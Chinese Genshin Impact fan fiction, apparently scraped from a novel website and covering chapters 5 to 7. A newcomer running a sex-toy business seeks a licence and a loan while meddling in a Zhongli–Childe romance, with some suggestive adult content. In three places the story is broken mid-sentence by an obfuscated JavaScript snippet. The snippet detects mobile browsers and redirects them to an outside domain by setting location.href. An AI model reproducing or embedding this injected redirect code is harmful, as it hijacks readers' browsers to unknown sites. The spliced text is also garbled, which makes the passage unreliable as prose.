贾老板做的是非法勾当，这家店铺显然是没有经营许可证的，她初来乍到又不懂规矩，一遇到事简直是一个头两个大。 她眼珠飞快地转动了一圈，忽然灵光一闪，冲上前“唰”地一声拉开门帘，大声说道：“我这还没开业呢，不能算非法经营！” 五十平米的小店内，柜台空无一物，人体模特也孤零零地站在一边，想贴封条都没处贴。 “你看，我又没卖东西，连招牌也没挂，就是租来自己住的，这不能算非法经营吧？” 她的语气振振有词，眼神却有些心虚，惴惴不安地看着弘毅，就怕他说这是在钻法律的空子。 幸而，对方沉思片刻，并没有反驳，只是看了她一眼，然后就把封条原原本本地放了回去。 青棠悬到嗓子眼的心脏开始缓慢地往回滑落。 结果，刚滑过喉咙，就听见弘毅说：“那么，请允许我们做个例行检查。” 青棠差点被口水噎死。 想起屋里那些活色生香的设计稿，她再次叉腰，硬着头皮说道：“不行，你们这是擅闯民宅！” 三位千岩军朝她鞠躬，动作整齐划一，弘毅说：“抱歉，我们这是在执行公务。” 没办法了。青棠绝望地闭上眼睛，听到了他们进后屋的动静。 弘毅让另外两个千岩军去二楼，他自己留在一楼，还特意强调挪动过的东西要恢复原样。 青棠深深地吸了一口气，掀起眼皮，抱着视死如归的心态走进屋里，毕竟社死也是死。 千岩军训练有素，翻查搜证起来细致但不粗鲁，并没有弄出土匪进村的效果，甚至还帮忙把七零八落的抱枕什么的收拾了一下。 终于，弘毅来到了画架前，拾起了地上散落的设计稿。 他翻看起那一沓画稿，刚开始动作很慢，随后却像在逃避什么似的越翻越快，耳根也渐渐红了。 两分钟后，他抬起头，抖落着手中的画纸，方才还一身正气刚正不阿的人，现在的表情却很是难以启齿：“这是什么？” “欸，你轻点！”青棠瞪他一眼，又扫视过布满凸起的震动棒，脸不红心不跳地说道：“狼牙棒，威震四方，力敌千钧。” 唰地一声，画稿翻过一页，露出尖头的肛塞，“那这个呢？” 青棠冷静道：“圣遗物，辰砂往生录的空之杯——结契之刻。” 弘毅怔在原地，目光逐渐呆滞，显然开始怀疑人生了。 这时，检查二楼的两个千岩军下来了，汇报楼上是普通卧室和浴室，没有发现违禁物品。 弘毅一惊，连忙把那些让人面红耳赤的画稿归拢，迅速站起来鞠了一躬：“打扰了。” 说完就大步往走外。 “等等。”青棠忙不迭拦住落在最后的千岩军，问道，“你们还没告诉我，经营许可证怎么办呢！” 对方望着自家长官落荒而逃的背影，脸上也满是懵逼。 他从怀里掏出一本小册子：“这是总务司刊发的璃月经商守则，按照上面的流程走就行。” 青棠道了谢，同时长舒一口气，至少这一关算是混过去了。 送走千岩军后，她回到屋里，翻开守则研究了起来。 或许是到璃月来淘金的商人太多了，这守则先将璃月港的基本情况介绍了一番。 这座港口城市曾经由璃月人民所信奉的岩之神摩拉克斯统治，如今则彻底转变成了人治的时代。 原本由岩王帝君监管的事务，现在尽数分配到了璃月七星的手中。而七星中，拥有最高权力的就是天权星凝光了。 青棠叹了口气，想起当年在游戏里成为凝光座上宾的剧情，再对比现在的拮据，真是落魄了啊。 往事不堪回首，她快速略过前面不重要的部分，直接翻到经营许可证的办理指南。 证件办理由璃月总务司负责，大体流程和现实世界差不多——先提交材料，然后等待机构审核通过后签发。 具体要准备的申请材料在附录里，青棠满怀信心地翻到最后一页，紧接着手指倏地一抖。 就见那纸上写着： [经营许可证申请材料如下： 一、璃月港内年营收5KW摩拉的商铺法人担保信一封； 二、100W摩拉的资金证明。] 青棠眼神发怔，来来回回将那两个数字看了三遍。 一百万……这不是抢么？！ 现在她手头就只剩下12W摩拉了，日常生活开支分去一些，雇佣工厂生产商品再分去一些，别说一百万了，能省下一万就已经是她勒紧裤腰带的结果了！ 可是没有证件就没法营业，不经营就没法赚钱，赚不到钱就没法办理证件…… 多么令人心碎的三角关系，简直比“她爱他，他爱他，他却爱着她”还要催泪。 青棠坐在餐厅里，吃了食不知味的一顿晚饭，脑海里就像塞了一个太阳系，六个0围绕着一个1，旋转不休，并且随时要爆炸。 直到天色完全黑了，那七个数字才停止在她的脑子里蹦迪。 实在不行……就去摆地摊吧，面子哪有摩拉重要。 如果千岩军来赶人，那就采取“一哭二闹三上吊”的策略，只要她不尴尬，尴尬的就是别人。 青棠在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438482|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑海里跟千岩军大战三百回合，焦虑终于缓解了些。 一百万摩拉暂时赚不到，但担保信还是容易弄到手的。 隔壁往生堂的年营收，就妥妥地超过了五千万摩拉，不然绝对经不起钟离那样造的。 正好上次买家具时承了钟离的情，理应上门拜访一下。 青棠找出没用完的霓裳花，拿丝带扎成蓬勃的一束就出了门。 夜色中，吱呀一声轻响并不引人注意，可是青棠刚把门推开一条缝，就听见一道熟悉的声音从旁边传来：“哎呀呀，你来得不巧，今晚客卿不在往生堂呢~” 透过门缝看出去，只见月华如水，一个褐红发色的小姑娘坐在石狮子上，神色嬉笑，语气戏谑，两条纤细的腿悬在半空中轻轻摇晃——正是往生堂的现任堂主胡桃。 青棠脚步一顿，心中顿时紧张起来，正犹豫着要不要推门，又一道声音突兀地响起：“我不是派人约过了钟离先生么？” 青棠这才发现阴影里还站着另一个人，那人往前走了一步，月光便照亮了他橙色的头发。 脸部轮廓瘦削锋利，五官深邃，鼻梁高挺，唯有眼眸黯淡无光，不是达达利亚又是谁？ 青棠无声地张大了嘴巴，立刻反应过来自己撞上了修罗场，连忙往门后躲了躲，兴奋地看着这两位1.0版本大C中门对狙。 胡桃笑嘻嘻地说：“客卿出门之前，建议我把这个贴在门口。” 黑暗中忽然升起一星火光，胡桃两指夹住一张燃着烈火的符纸，然后嗖地一声甩了出去。 凭借火焰的光芒，青棠看清了符纸上的内容。有人画了一个斜扣着魔王面具的脑袋和一个狗头，并且歪歪扭扭地写了几个字。 字迹潦草，但意思显而易见——公子与狗不得入内。 青棠狂汗，桃宝啊，咱也该练练字了吧？你这和在犯罪现场留下身份证号有什么区别？ 达达利亚瞳孔骤缩，暴怒地射出一道水刃，断流撞上血梅香，发出“呲”的一声，那张脆弱的符纸瞬间就被磅礴的元素力撕碎了。 他的嗓音像是淬过冰碴：“这绝不是钟离先生的原话。” “但是意思就是这个意思。”胡桃翻身跳下石狮子，“客卿这个人呢，很固执。不想见的人他是不会见的，所以啊，你还是请回吧。” 说完她就转过身进了门。 空气倏然安静下来。 过了好一会儿，达达利亚仿佛凝固成雕塑的身影才动了一下。 “出来。” 青棠觉得，如果在这个网抑云时刻笑出声来，百分百会被这位愚人众执行官记恨吧。 于是，她只能极力压制看热闹的激动心情，推开门，矜持地打招呼：“嗨，公子。” 达达利亚的视线撇过来，那双没有高光的眼睛里写满不快，语气也不客气：“你是谁？” “啊，我是刚搬来的邻居，我叫青棠。”青棠眨眨眼睛，“你也是来找钟离先生喝茶的吗？” 听到这话，达达利亚眼里的戒备松动了一些，他挑了一下眉毛，饶有兴趣地问道：“钟离先生跟你提起过我？” 青棠笑了笑：“是啊。” 达达利亚：“他说了什么？” 青棠：“说你是他的朋友。” 达达利亚一愣，视线下移，落到青棠手里的霓裳花束上，眼中闪过一瞬间的惊愕。 忽然，他弯下腰，自嘲般的大笑了起来：“哈哈，他居然不敢对你说真话？朋友……” 青棠吓了一跳，差点把手里的花丢出去：“你没事吧？” 半晌，达达利亚终于止住了笑声，脸色却越发阴沉。 他像每个受到刺激的人那样，凶狠地盯着假想敌，报复似的磨了磨牙，一字一句地说： “听好了，我不是钟离先生的朋友，我是他的情人。” 5. 第 5 章 什、什么？！ 青棠下意识地朝天空望去，生怕下一秒世界之外就会出现一列星穹列车，风驰电掣地撞毁提瓦特，米忽悠的系统彻底崩坏。 而这一切，这一句话，只不过是她身为同人女临死前的幻想。 但是没有。 夜空依然宁静悠远，群玉阁高悬天际，璃月港安然无恙。 喜悦如同狂潮般席卷而来，青棠眼中闪着激动的光，迫不及待地想昭告全天下的同担—— 我家CP是真的！！！ 然而这里是游戏世界，她没有手机也没有网络，甚至…… 看起来，整个璃月港似乎只有她在磕这对CP？ 同志仍需努力啊达达利亚。 青棠扬起姨母般的笑容，正想为这位失魂落魄的小伙子提供一些助攻，那边眸光黯淡的青年却转过了身，头也不回地离开了。 走之前还剜了一眼她的花。 呃？青棠一愣，低头看了看被迁怒的霓裳花。 这是她早上出门采的，放到现在已经有点脱水了，花瓣微微蜷了起来，拼成了爱心的形状。 原来是误会了她想跟钟离求爱啊……青棠顿时觉得有些好笑。 算了算了，刚失恋的人就是这样的，遇到路边的狗都想攻击一下，那就别追上去多嘴了。 现在时间有点晚了，再去往生堂拜访也不太合适了，青棠准备回屋捋一捋她CP的情况，一转头却见到了一双金色的眼瞳。 钟离悄无声息地站在门口，一言不发地目送远去的青年，淡薄的雾气笼罩着他的轮廓，那双璀璨的眼眸也染上了潮湿。 整个人就是大写的——龙龙不语，但龙龙Emo。 阿这？ 青棠迷惑了，你俩到底是谁拒绝了谁？失恋的又是谁？ 钟离默然站立，眉峰微微蹙起，目光里有种深邃的隐忧和不忍，以及难得一见的迷惘。 青棠不太敢在这时去搭讪。 好在对方似乎并没有注意到她，过了会儿就进屋去了。 这一晚上实在是太刺激了，直到洗漱完毕躺到床上，青棠心中仍然在一阵一阵地放烟花。 不管是谁，知道我磕的CP甜甜蜜蜜，都会觉得我命好吧？ 喔，他们好像没有甜甜蜜蜜，还有点恨海情天的架势。 但是没关系，众所周知恨就是爱——刀子里找糖，她最会了！ 青棠热血沸腾，一整晚辗转反侧，眼前全是纷乱的梦境画面。 一会儿梦见她在网上记录公钟恋爱日记，评论全在夸神仙太太，同担的彩虹屁吹得她飘飘欲仙。 一会儿梦见N个版本的公钟婚礼现场，每个版本她都坐在主桌。 梦境接踵而至，青棠徜徉在充满粉色泡泡的海洋里，于是第二天，她不出所料地起晚了。 幸而现在她是老板了，没有该死的早八，想睡多久睡多久。 粉红泡泡再次翻涌而来，昏沉的困意中，神经忽然一颤。 等等，不太对劲—— 大脑自动纠正她刚才的想法，痛心疾首地提醒她，现在还没有拿到经营许可证，她不是老板，而是无业游民，是街溜子。 在这样深刻的自我鞭策下，青棠哭丧着脸起了床，吃过早饭，捧起昨晚没送出去的花束，去隔壁找另一个“街溜子”了。 今日往生堂风平浪静，仪官领着青棠走到茶室。 一进门，就听到一阵清脆欢快的叫声：“有人来啦！有人来啦！恭喜发财！恭喜发财！” 青棠吓了一跳，定睛一看，这才发现窗边挂着一个鸟笼，一只色彩斑斓的鹦鹉歪着脑袋，黑豆似的眼珠正直愣愣地望着她。 “哇，嘴好甜啊！”青棠弯起眼睛，“钟离先生很会养鸟呢。” 比如这只会说人话的鹦鹉，还比如望舒客栈的某只金鹏。 钟离放下逗鸟棒，闻言也笑了：“实不相瞒，这只鹦鹉是胡堂主教出来的，说是能探知别人内心的愿望。见了小友它说恭喜发财，若是见了心术不正之人，它便要说往生堂大酬宾第二碑半价了。” 这很胡桃了。 青棠过剧情时就对她的古灵精怪印象颇深，她把带来的礼物递给钟离，扭头看了一圈，没发现那个风风火火的身影，便问道：“胡堂主出门了吗？” 钟离示意她请坐：“春香窑的莺儿小姐研制出了一款新香膏，今日限量发售，胡堂主去抢购了。” 说完，他又笑叹了一句，不再是公事公办的语气，也不称堂主了：“那孩子向来活泼。” 青棠心想，昨天她说你固执，今天你说她活泼，真是感动璃月父女情……啊不是，上下级情。 “真羡慕啊。”青棠说，“等我的玩具产业做大了，也要推出限量款、联名款……”什么Pro、Plus、Max……全部来一遍。 钟离依然是鼓励式家长：“一种新颖的商品，再加上取悦自己这样新潮的概念，小友的玩具风靡市场指日可待。” “指不了一点。”说起这个，青棠的神往表情瞬间垮了，她把经营许可证的事情说了一遍，然后苦着脸说道：“所以，我想麻烦胡堂主，帮忙写一封担保信。” 钟离当即应允：“我想胡堂主不会拒绝，小友大可放心。” “那太好了！”青棠松了口气。 钟离又说：“不过据我所知，经营许可证的申请材料，应当还需要一份一百万摩拉的资金证明？” “是啊。”青棠又蔫了。 见她一筹莫展，钟离也猜到了她手头不宽裕，于是提议道：“或许可以找北国银行。” 青棠：“？！” 这么一提醒，她突然想起来了，北国银行二楼的角落里有一个不起眼的普通宝箱，里面装着二十万摩拉，不知道是不是哪个愚人众执行官藏的私房钱。 她瞟了一眼周围，确保没人监听，然后压低嗓音问道：“您是说……让我去抢银行？” 脑海里顿时浮现出北国银行和周边街道的地形图，以她这个比应急食品还要歇菜的战斗力，要如何避开愚人众的耳目，潜进北国银行，偷到宝箱，再全身而退…… 就在她策划逃跑路线的时候，钟离沉默了一阵，说：“我的意思是，不妨找北国银行贷款。” “贷款？”青棠一怔，紧接着猛地一拍脑门，“对啊，我怎么没想到创业贷款呢！” 既然她随口捏造的身份可以瞒过钟离，那信用值肯定是点满的，办个贷款应该不在话下。 青棠舒了一口气，又想到话都说到这儿了，要不要趁机试探一下钟离对公子的想法呢？ 开店的事情有头绪了，该是时候为她的CP出一份力了！ 青棠咳了一声，状似不经意地说道：“钟离先生很了解北国银行呢，是因为公子大人吗？” 钟离一顿，微微眯起眼睛，语气有些无奈，但似乎并不意外：“看来他把我们的关系告诉你了。” 见对方没有露出不愉快的表情，青棠的胆子大了些，试探地问：“所以你们是吵架了吗？” “我们没有争吵。”钟离摇头道，“只是公子阁下年少气盛，尚且不明白契约的意义。” “嘶。”青棠皱起眉头，察觉到钟离这话说得挺重的。 对方原本就是契约之神，最看重的莫过于诚信。 她琢磨着，难道达达利亚是许了天花乱坠的海誓山盟，但又没做到么？或者干脆撒了谎？ 问题好像有些棘手，青棠还欲追问，门口忽然传来一句轻快的：“哟，有客人来啦？” 她扭过头，就看到胡桃提着一盒香膏走了进来，视线与她一相撞，眉梢便扬了起来：“原来是青老板，难怪能和客卿聊得来！” 于是，青棠只好暂时咽下心中的疑问，同样笑着打招呼：“胡堂主，打扰你啦。” “哪儿的话。”胡桃摆了摆手，“本堂主最喜欢热闹了，有朋自隔壁来，乐乎乐乎！” “咦，还带礼物啦？”她把香膏放到花束旁边，然后绕着青棠转了一圈，把她上上下下地打量了一遍，“可我看你身体康健，精神倍好，不是来办业务的吧？” “不是。”青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438483|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棠哭笑不得，又说了一遍经营许可证的事。 “那你可就找对人了！”果不其然，胡桃一听就答应了下来，甚至对写担保信表现出了莫大的热情。 “在下小巷派暗黑打油诗人，一定将这封信写得前无古人后无来者，让你第一时间就通过审核。” 听到这话，青棠汗都流下来了，连忙拦住她天马行空的灵感：“有模板、有模板的！” 要是让她自由发挥，青棠毫不怀疑她会写出类似—— “酥酥麻麻小玩意儿，客官要不要试试看？要是快乐过了头，往生堂套餐，我给您打八折算！” ——这样的联动广告词。 钟离笑着望向两人，也出言打圆场：“胡堂主的诗才，若是用在这种地方，委实屈才了。” “那好吧。”胡桃耸了耸肩，只能作罢，又邀请青棠留下吃饭。 往生堂算是事业单位，厨师的技术虽然比不上外面的饭馆，但做的菜也是有滋有味。 三人说说笑笑地吃完饭后，青棠便直奔北国银行。 想着过去可能会遇到达达利亚，她还特意又包了束花。 这家银行的总部设在至冬国，顶头上司是愚人众执行官第九席——代号[富人]的潘塔罗涅。 北国银行在好几个国家都开设了分行，既是收集情报，也是为了在外活动的愚人众提供任务经费。 一听说青棠要贷款，接待员叶卡捷琳娜顿时满面笑容，忙不迭地将她迎上二楼，请她跟璃月分行经理安德烈详谈。 路过楼梯拐角的时候，青棠念念不舍地往盆栽后面看了一眼。 世界上最遥远的距离，不是生与死，而是她知道那里有一个20W摩拉的宝箱，她却没本事拿。 安德烈是个长相儒雅的中年男人，比起商人他更像是个学者，说出来的话也更有说服力。 “我敢保证，我们的贷款利率比璃月的钱庄更能让您满意——所以您打算贷多少呢？” 青棠开门见山道：“一百万。” “没问题。”安德烈露出一个微笑，显然很满意她的爽快，立刻抽出一张表格递给她，“那么请您填写一下我们的贷款申请书，同时提供一份足额抵押的资产证明。” 青棠伸在空中的手指倏然一顿，“资……什么证明？！” “资产证明。”安德烈说，“证明您有足够的还款能力。如果您逾期未还款，那么按照璃月律法，我们将会回收您抵押的资产。” 青棠：“……” 天塌了，哪个砖家规定的先有钱才能借钱啊？！ 她一穷二白，连住的房子都是租的，哪有资产拿来抵押？ 看到她隐隐崩溃的表情，安德烈以为她是不懂资产的概念，还耐心地解释道：“如果您手头没有资产证明，我们也可以安排专业人士帮您做，房产、珠宝、矿石……这些都可以用于抵押。” 谢谢，你人还怪好的，但我还是去偷执行官的私房钱吧！ “砰”的一声，青棠猛地拍了一下桌子，也是豁出去了，梗着脖子说道：“要钱没有，要命一条！” “呃……”安德烈满脸为难的表情，“但是，您没有神之眼，也不是壁炉之家出身的战士，即使卖命给愚人众，也……” 剩下的话他没有说完，可能是觉得太残忍了。 他欲言又止的表情深深地刺痛了青棠的心——难道没有神之眼就不配做生意了吗？ 新时代了啊，你们至冬国全民皆兵的观念也该改改了，不说别的，这就是妥妥的神之眼霸凌！ 或许是发现了客户的情绪不太对，安德烈勉强补充道：“或者……还有一个办法。” 青棠猛然抬头：“快说！” 安德烈：“如果有执行官大人的批文，就可以无抵押贷款。” 青棠眼神一亮，语速极快地问道：“哪个执行官都行吗？” 安德烈：“是的，但是……” “但是现在只有公子在璃月！”青棠打断他的话，眼中爆发出兴奋的光，“那就对了，快告诉我他在哪儿！” 6. 第 6 章 叩叩叩—— 安德烈走到长廊尽头，敲响执行官办公室的门，恭敬道：“公子大人，有客人想要见您。” “进来吧。”达达利亚漫不经心的声音从门后传出。 青棠抖了抖怀里的花束，轻轻推开虚掩的房门，一眼就看到了从地板延伸到天花板的实木镶板，每块木块上都雕刻着浓墨重彩的繁复花纹。 深红色的窗帘被金色流苏绳束起，日光斜斜地洒进来，在天鹅绒的沙发上投下温融融的痕迹。 整个房间的装修是和璃月风格截然不同的奢华，衬得办公桌后的青年也多了几分沉稳贵气。 达达利亚仍穿着万年不变的灰色立领制服，见到来人，他放下文件，目光锁定了青棠抱着的霓裳花，挑起的眉梢略显惊讶：“是你啊，钟离先生让你来的吗？” 青棠看着他满含期待的神情，合理怀疑他误会了自己是钟离派来送花的传话筒，就像他安排愚人众情报官给钟离送消息那样。 小伙子还挺会自我攻略。 “其实……”青棠动了动嘴唇，本想说她是来借钱的，送花只是铁血双担人的端水行为，余光却忽然瞥见了对方随手扔下的文件。 “欠债人处决名单”几个大字跳进眼眶，一排排被划了红色横线的名字更是让人毛骨悚然。 青棠倏地咬了下舌尖，烫手山芋似的把花扔进花瓶：“没错，就是钟离先生让我来的！” 达达利亚的眼睛眯了起来，青棠仿佛看到他翘起了不存在的狐狸耳朵：“他说什么了？” “他说……”他说你不懂事。 青棠默默腹诽了一句，但嘴上还是把这句话包装了一下：“他说你对他特别重要，所以他要慎重考虑你们之间的问题。” 虽然她还不知道具体是什么问题，但顺着钟离的态度，她特意强调了“慎重”两个字，暗戳戳提醒他钟离不喜欢轻浮的人。 可她说完之后，就看到达达利亚热情的笑容逐渐降了温，紧接着变成了若有所思的表情，似乎在认真地反思她的话。 青棠心念一动，CP粉的雷达顿时亮了——难道说她误打误撞地猜对了？她家CP的症结就是这？ “好吧，我也会更谨慎的。”沉默了一会儿，达达利亚像是默认了她的判断，打起精神转移了话题，“那你来找我有什么事？” “嗯？”青棠还在试图捋清他俩的感情问题，闻言微微怔了怔。 见到对方微蹙的眉心，她才反应过来刚才的话题翻篇了，他已经调整好情绪，要开始谈工作了。 真不愧是愚人众执行官啊，随时随地切换状态，这把控情绪的能力也不输钟师傅嘛。 就两个字——般配！ 青棠暗叹一声，正了正神色，简短地叙述事情经过：“我想向北国银行贷款一百万摩拉，用来办理经营许可证。但我现在没有可以抵押的资产，所以需要一封愚人众执行官的特赦批文。” “原来如此。”似乎是想到了高兴的事，达达利亚又笑了，笃定地说，“他让你来北国银行，就是因为我在这里，想要我给你开绿灯。” 是、是这样吗？ 青棠懵逼了一瞬，诧异地挑了挑眉，她还以为钟离给她介绍北国银行，而不是璃月的钱庄，是因为这里利率比较实惠呢。 可恶，不知不觉变成了小情侣冷战Play的一环，可是这个贷款利率……真的好香噢！ “文书我可以给你开。”达达利亚说，“但我要先弄清楚你经营的商品范围和目标客户，保证你的行为对至冬和璃月双方的利益都没有危害，否则触碰到任何一边的律法，我都会受到牵连。” 达达利亚一本正经地向她阐明利害，青棠看着对方严肃的神情，忽然想起在游戏设定里，这人其实比她大不了几岁，却已经是无数次游走在生死边缘的战士了。 站在钟离的角度，这样一个性格热情的人，既成熟又不失少年的明朗，很难不心动吧？ 又磕到了，吃一口年下小狗！ 青棠的嘴角疯狂上扬：“当然是正规经营啦，我是卖玩具的。” “玩具？”达达利亚一愣，竟然露出了几分温柔的神色，“小姐，这不会是个幌子吧？实不相瞒，我也用过这个借口噢！” 他说的是当初在璃月执行任务的时候，老家的弟弟托克突然跑来找他，为了让家人安心，他只好哄骗弟弟说自己是玩具销售员，并且只用了十秒钟就解决了一整个遗迹里的独眼小宝，帅到青棠过剧情时抱着手机嗷嗷乱叫。 至于现在青棠卖的这个玩具嘛……真要说起来也算是个幌子吧，只不过是为了过审的幌子。 她嘿嘿一笑，从背包里掏出早就准备好的设计稿，“啪”地往桌上一拍，摆出拉投资演讲的架势，神神秘秘地说道：“我卖的玩具是人类文明的终极解压神器！” …… 半个小时后，达达利亚脊背僵直地坐在椅子里，脸上满是怔忡的神色，精神世界仿佛被禁忌知识污染了，一片惊心动魄的黄。 他握着笔，在文书上签下自己的名字，字迹抖得略显潦草。 “嗨呀！”青棠眼疾手快地抽出那张价值百万摩拉的文书，眉眼一弯，吉祥话张口就来，“老板大气！祝老板身体健康，永远不死，重铸T0.5角色荣光！” 这是她经常听游戏主播念的感谢词，原本只是图一乐，却没想到达达利亚在听到“永远不死”的时候，眼眸微微一动，蓦地笑了起来，好似真的很受用。 “你真是有趣的人！”比起刚进屋时，他的笑容开怀了许多。 “昨晚我风尘仆仆赶到璃月，又被往生堂拒之门外，一时冲动竟然对这么可爱的小姐生了气。” “抱歉，一起去喝酒吧！” “好啊。”青棠想也不想就应了下来，午饭蹭往生堂，晚饭蹭北国银行，这可太有生活了！ 结果，等她坐在北国银行的餐厅里，望着面前满满一大杯的火水，嘴角都忍不住开始抽搐了。 她狐疑地看着达达利亚：“你不是在报复我吧？” 这玩意可是至冬国的特产，一杯能干倒三个迪卢克啊！ 像她这种喝点Rio都能微醺的菜鸡，这一杯灌下去，不得从胡桃的邻居，直接变成胡桃的客户啊？ 但达达利亚完全喝嗨了，根本没注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438484|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到她脸上的菜色，又给自己满上了，还凑过来跟她碰杯：“来，伙伴！干杯！” 这声久违的“伙伴”让青棠有些动容，唤醒了曾经在游戏里每周和公子在黄金屋交锋的日子，她感慨地端起杯子，跟他碰了一下…… 然后赶紧把火水倒了，扭过头灌了一大杯凉水。 开玩笑，这一口下去能送她去见太奶，璃月人不喝至冬酒！ 闻着空气中浓郁的酒香，青棠很是犯愁：“你跟钟离先生约会的时候，不会也这样喝酒吧？” “钟离、钟离先生……”达达利亚似乎喝醉了，听到这个名字条件反射地呢喃了一句，嘴角扬起一抹笑意，“钟离先生的龙角真好看……” 青棠：“？！” 小伙子XP很对啊！嘿嘿，我也觉得龙化的帝君特别涩…… ——桥豆麻袋！ 一道惊雷闪过，青棠忽然发现了盲点，她震惊地看着达达利亚：“你见过钟离先生的龙角？” 我开的是上帝视角，吃的是美帝饭，可你是怎么看到的？ 达达利亚笑了笑，没有高光的眼睛都被酒气熏亮了，“上次亲他的时候，他说受不了……” 后边的话仿佛在屋里投了下一颗炸弹，饶是青棠阅车无数，此时内心也充满了富含植物词汇的话。 怎么说呢，她的想象力还是太浅薄了，事实证明艺术永远比不上生活，同人永远没有正主会玩。 “后来他就不理我了……”说着，达达利亚便委屈了起来。 青棠将震碎的三观重新拼凑起来，尽职尽责地做着CP故事里的知心NPC：“那不是因为你做得太过分了吗？都让他显出原形了。” “是吗？“达达利亚茫然了一瞬，嗓音轻飘飘的，“钟离先生会为了这种事情生气吗？” 青棠“啊”了声，下意识想说——你都不知道，我怎么知道？ 可她扭过头看见达达利亚的神情，话音又突然卡在了喉咙里。 是啊，想知道钟离喜欢什么很简单，珠宝古玩、戏曲茶艺……阳春白雪和下里巴人都能讨他欢心。 可想知道他爱什么却很难，连青棠这种开了剧情挂的人都答不上来，除了璃月他还有什么挚爱。 而公子不过二十岁出头的年纪，对岩王帝君过去六千年的生活所知寥寥，亲朋故交更是鲜有认识的，猜不透他的心思真是太正常了。 看着达达利亚失落的神情，青棠忽然想起以前在网上看到的话——年长者是无法被打动的，他早就轰轰烈烈过了，也早就有人为他翻过山越过岭了。 任谁处在年下小狗的位置，都免不了患得患失。 而越是没有安全感，就越是想抓在手里，表现形式不是作天作地，就是做天做地。 此时此刻，青棠的姨母心情达到了巅峰，她猛地一拍达达利亚的背，露出意味深长的笑容：“他不理你是吧？没关系，我帮你啊！” 第一批小玩具的制作很快就要提上日程了，至于她的第一位顾客——这不就来了吗？ 达达利亚醉醺醺的，没听懂她的话，倒是被这激动的一巴掌拍得往前一栽：“呕……” 7. 第 7 章 有了公子特批的文书，北国银行的工作人员效率奇高，赶在下班之前就清点出了100W摩拉和资金证明，统统交给了青棠。 青棠回到合欢馆，刚把钱袋收好，往生堂的仪官又敲响了大门，同时送来了胡桃的担保信。 万事俱备，明天就可以去璃月总务司递交申请了。 这一天跑前跑后收获颇丰，属实给新上任的青老板累坏了。 况且她虽然没喝酒，但火水的味道太烈了，在醉人的空气里待了几个小时，直到躺上床时，她还有点头重脚轻的感觉。 今晚又是一夜好梦。 仅仅是凑齐了经营许可证的申请材料，青棠的梦就已经大胆地做遍了整个提瓦特。 她梦到自己每天在不同的国家醒来，优雅地接过财务经理递来的报表。虽然那报表上的数字对她而言如同天书，但她知道摩拉正如流水般源源不断地涌来。 好爽，这就是凝光的生活吗？ 而更爽的是，她的CP这次不仅有婚礼现场，还有酱酱酿酿的现场。床上堆满了她设计的可爱玩具，至冬狐狸和璃月龙龙Do完就双双给她发来了五星好评。 从甜美的梦乡中清醒过来的时候，天色刚蒙蒙亮。 青棠迷迷瞪瞪地赖了会床，听到早市传来热闹的吆喝声，香甜的鸡豆花味道钻进窗缝，勾得人鼻尖耸动，她的意识便也随着这座港口城市逐渐苏醒。 她起床洗漱后，将设计稿全部塞进背包，先去璃月总务司提交了申请材料，接着就去给她的小玩具和睡衣找生产工厂了。 纺织厂就在璃月城内，老板听说她是往生堂介绍过来的，极其热情地带她去仓库挑选布料。 往生堂每年要订做的寿衣数量惊人，是这家纺织厂的大客户了。沾了他们的光，送到青棠面前展示的布料也都是稀罕货。 这笔钱是不能省的，因为情趣睡衣的用料相当讲究。 既要在该漏的地方做出镂空，又要保持特定的造型不塌，所以料子不可以太柔软。 但贴身穿着的衣物太硬了也不行，最好能控制在亲肤度拉满的同时，上手一撕就坏的程度。 这样睡衣就是一次性的了，不仅能满足小情侣之间的情趣，还能变相地提高一些复购率。 而辅料的选择也很重要。 现在铺子还没有开始赚钱，像珠宝萤石这些成本高昂的装饰品没法镶真货，但替代品也不能显得太廉价。 就这样仔细挑选了一番，青棠一直在涂涂画画，给设计稿的每处细节都标好了材质，这才放心地交给了老板，并且留下了地址。 接下来就是联系玩具工厂。 这个往生堂也有门路，只不过不在璃月城内，而是在璃沙郊。 对方老板是一个话唠大哥，从胡桃爷爷那辈就开始跟往生堂合作了，听说青棠想下订单，二话不说就领着她在厂里参观了一圈。 “俺们这儿别的不说，就这钩子这链子啊，你随便往哪儿摸，那都是干干净净儿的！” 话唠大哥拍着胸脯保证，他们每天都定时给流水线消毒，做出来的成品比她的钱袋还干净。 青棠：“……” 大哥果然是老社会人了，一眼就看穿了她的逞强和伪装。 不过对于入体玩具来说，安全和洁净的确是最重要的。 青棠对这个工厂的环境很满意，于是毫不犹豫地给了定金。 “俺就喜欢爽快人儿！”话唠大哥表示三天内就把试样送到合欢馆，甚至许诺多送她两套。 